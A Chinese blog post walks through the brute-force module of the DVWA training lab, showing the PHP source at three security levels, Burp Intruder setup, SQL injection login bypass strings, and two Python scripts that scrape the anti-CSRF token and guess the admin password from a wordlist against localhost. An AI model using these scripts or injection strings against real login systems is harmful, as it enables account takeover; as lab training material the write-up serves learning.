美文网首页
DVWA之暴力破解

DVWA之暴力破解

作者: Miracle778 | 来源:发表于2019-06-15 12:33 被阅读0次

    title: DVWA之暴力破解
    date: 2019-03-19 19:00:50
    tags:
    - DVWA
    - burpsuite
    - 暴力破解
    categories:
    - Web安全
    - DVWA
    - 暴力破解


    针对DVWA里的暴力破解漏洞进行实验测试。主要内容包括BurpSuite的一些Intruder模块的基本使用和简单的python脚本编写。

    简介

    搞Web安全和渗透的,估计都玩过Dvwa这个靶机。所以关于Dvwa就不说了。直接进入主题吧

    Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击

    话不多说,下面就针对Dvwa中暴力破解模块的不同级别进行分析测试吧。

    Low级别

    先来看源码

    <?php 
    
    if( isset( $_GET[ 'Login' ] ) ) { 
        // Get username 
        $user = $_GET[ 'username' ]; 
    
        // Get password 
        $pass = $_GET[ 'password' ]; 
        $pass = md5( $pass ); 
    
        // Check the database 
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) { 
            // Get users details 
            $row    = mysqli_fetch_assoc( $result ); 
            $avatar = $row["avatar"]; 
    
            // Login successful 
            echo "<p>Welcome to the password protected area {$user}</p>"; 
            echo "<img src=\"{$avatar}\" />"; 
        } 
        else { 
            // Login failed 
            echo "<pre><br />Username and/or password incorrect.</pre>"; 
        } 
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    
    ?> 
    

    可以看到,对于登录的处理,服务器只是验证参数Login是否被设置,并没有任何的防爆破机制。因此可以通过BurpSuite进行爆破。
    if( isset( $_GET[ 'Login' ] ) )

    此外对参数username、password等也没做任何过滤处理。因此此处还存在SQL注入漏洞,可以使用万能密码绕过,在用户名处输入admin'#或者admin' or '1'='1即可登录。

    使用Burp进行爆破

    1. 打开Burp,记得设置浏览器代理。


      image
    2. 进行抓包
      浏览器设置好代理后,点击Login按钮,可以看到Burp成功抓包


      image
      image
    3. 抓到包后,按ctrl+l键,或者右键选择send to Intruder


      image
    4. 因为是要对password参数进行爆破,所以只在password参数内容两边加$


      image
      image
    5. 设置好要爆破的参数后,选择Payloads模块设置字典。
      可以使用Burp自带的简单字典,或者自己去网上下载构造。
      因为此处Burp自带的字典里没有password(正确密码),故我们手动加入进去


      image
    6. 设置攻击字典后,设置爆破线程
      暴力破解是一个穷举的过程,速度很慢,故可以通过多线程加快速度。
      但Burp社区版不提供增加线程功能,我用的是Burp pro破解版
      将线程设为50个,然后点击start attack开始爆破


      image
    7. 上一步点击开始爆破后,会切换到一个爆破任务详情新窗口
      在分析爆破结果前,先讲一下原理(感觉太啰嗦了,麻烦且累以后还是不写这么详细好了)
      我们分别通过万能密码和错误的密码成功登陆和失败登陆,如下两图


      image
      image

      可以看到,返回的信息是不同的,所以响应包的长度Length也不一样

    8. 因此,在爆破任务详情窗口可以通过Length进行筛选
      选出Length “与众不同”的payload即为密码


      image

    Medium级别

    贴上源码

    <?php 
    
    if( isset( $_GET[ 'Login' ] ) ) { 
        // Sanitise username input 
        $user = $_GET[ 'username' ]; 
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    
        // Sanitise password input 
        $pass = $_GET[ 'password' ]; 
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass = md5( $pass ); 
    
        // Check the database 
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) { 
            // Get users details 
            $row    = mysqli_fetch_assoc( $result ); 
            $avatar = $row["avatar"]; 
    
            // Login successful 
            echo "<p>Welcome to the password protected area {$user}</p>"; 
            echo "<img src=\"{$avatar}\" />"; 
        } 
        else { 
            // Login failed 
            sleep( 2 ); 
            echo "<pre><br />Username and/or password incorrect.</pre>"; 
        } 
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    
    ?> 
    

    可以看到,相比low级别的代码,这里主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号进行转义,基本上能抵御SQL注入攻击。但对登录并没做什么防护,因此跟Low级别一样,使用Burp进行爆破即可。

    High级别

    贴上源码

    
    <?php 
    
    if( isset( $_GET[ 'Login' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Sanitise username input 
        $user = $_GET[ 'username' ]; 
        $user = stripslashes( $user ); 
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    
        // Sanitise password input 
        $pass = $_GET[ 'password' ]; 
        $pass = stripslashes( $pass ); 
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass = md5( $pass ); 
    
        // Check database 
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) { 
            // Get users details 
            $row    = mysqli_fetch_assoc( $result ); 
            $avatar = $row["avatar"]; 
    
            // Login successful 
            echo "<p>Welcome to the password protected area {$user}</p>"; 
            echo "<img src=\"{$avatar}\" />"; 
        } 
        else { 
            // Login failed 
            sleep( rand( 0, 3 ) ); 
            echo "<pre><br />Username and/or password incorrect.</pre>"; 
        } 
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    
    ?> 
    

    分析

    High级别的代码加入了随机token,可以抵御CSRF攻击,但同时增加了爆破的难度。虽然不能用Burp爆破,但可以用python jio脚本呀
    先抓一下包分析一下请求

    image
    可以看到,每次服务器返回的登录页面都会生成一个随机的user_token,用户每次登陆时都要将user_token一起提交,服务器每次收到请求后,也都会先做token的检查,再进行sql查询

    脚本编写

    思路

    每次用python登录之前,先用python访问登录页面通过BeautifulSoup将user_token抓取出来。抓出来之后拼接url进行登录。我写了两个脚本,原理都差不多,不过是第二个用了requests库中的Session方法。

    实现

    好了,不多bb,开始写吧

    先贴代码
    #Version:python3
    #coding=utf-8
    #Author:Miracle778
    from bs4 import BeautifulSoup
    import urllib3
    import requests
    header = {
        'Host':'127.0.0.1',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'Accept-Encoding':'gzip, deflate',
        'Accept-Language':'zh-CN,zh;q=0.9',
        'Cookie':'Pycharm-ae03759a=6fdf0374-3228-456b-ae40-07e2c178708e;PHPSESSID=3b23u5l2qlg5nmedn4ebrltbg6;security=high',
        'Connection':'close'
    }
    
    requrl = 'http://127.0.0.1/vulnerabilities/brute/'
    def get_token(requrl,header):
        req = requests.get(url=requrl,headers=header)
        response = req.text
        soup = BeautifulSoup(response,'html.parser')
        user_token = soup.form.find_all(name='input')[-1]['value']
        return user_token
    
    #爆10次
    i = 0
    user_token= get_token(requrl,header)
    for line in open("passwd.txt"):
        url = requrl + '?username=admin&password=' + line.strip() \
              + '&Login=Login&user_token=' + user_token
    
        i = i+1
        req = requests.get(url,headers=header)
        status_code = req.status_code
        length = len(req.text)
        print(i,'admin',line.strip(),status_code,length)
        user_token = get_token(requrl,header)
        if i==10:
            break
    
    #Version:python3
    #coding=utf-8
    #Author:Miracle778
    import requests
    from bs4 import BeautifulSoup
    s = requests.Session()
    header = {
        'Host':'127.0.0.1',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'Accept-Encoding':'gzip, deflate',
        'Accept-Language':'zh-CN,zh;q=0.9',
        'Cookie':'Pycharm-ae03759a=6fdf0374-3228-456b-ae40-07e2c178708e;PHPSESSID=3b23u5l2qlg5nmedn4ebrltbg6;security=high',
        'Connection':'close'
    }
    
    s.headers = header
    requrl = 'http://127.0.0.1/vulnerabilities/brute/'
    def get_token(requrl):
        req = s.get(requrl)
        soup = BeautifulSoup(req.text,'html.parser')
        user_token = soup.form.find_all(name='input')[-1]['value']
        return user_token
    
    for line in open("passwd.txt"):
        user_token = get_token(requrl)
        url = requrl + '?username=admin&password=' + line.strip() \
              + '&Login=Login&user_token=' + user_token
        reponse = s.get(url)
        status_code = reponse.status_code
        length = len(reponse.text)
        print('admin',line.strip(),status_code,length)
    
    编写中注意的点
    先用浏览器F12一下,找出user_token所在标签
    image
    理清结构后使用BeautifulSoup进行提取(可以用一些爬虫插件、或者直接用python解释器测试)
    得到BeautifulSoup提取语句:user_token = soup.form.find_all(name='input')[-1]['value']
    设置header要注意,不然脚本无效

    因为这个实验测试是之前做的,写文章的时候复现时发现,header不对的话脚本无效
    说一下设置header的方法吧。

    用Burp抓一下包,然后照着结果设置header。此处应有个笑哭的emoji

    image
    效果
    image
    image

    Impossible级别

    这个不怎么好写,就不写了

    总结

    想起之前看别人博客学习的时候,别人写的太简洁了而自己知识面不够广,导致自己学习的时候一脸懵。那种自闭的感觉很容易消磨学习的兴趣。所以自己刚开始写Blog,就总想着写得详细。但写得详细的话,太费时间了。所以之后看情况写吧,一些太啰嗦的东西就懒得贴上来了。

    相关文章

      网友评论

          本文标题:DVWA之暴力破解

          本文链接:https://www.haomeiwen.com/subject/ofcbfctx.html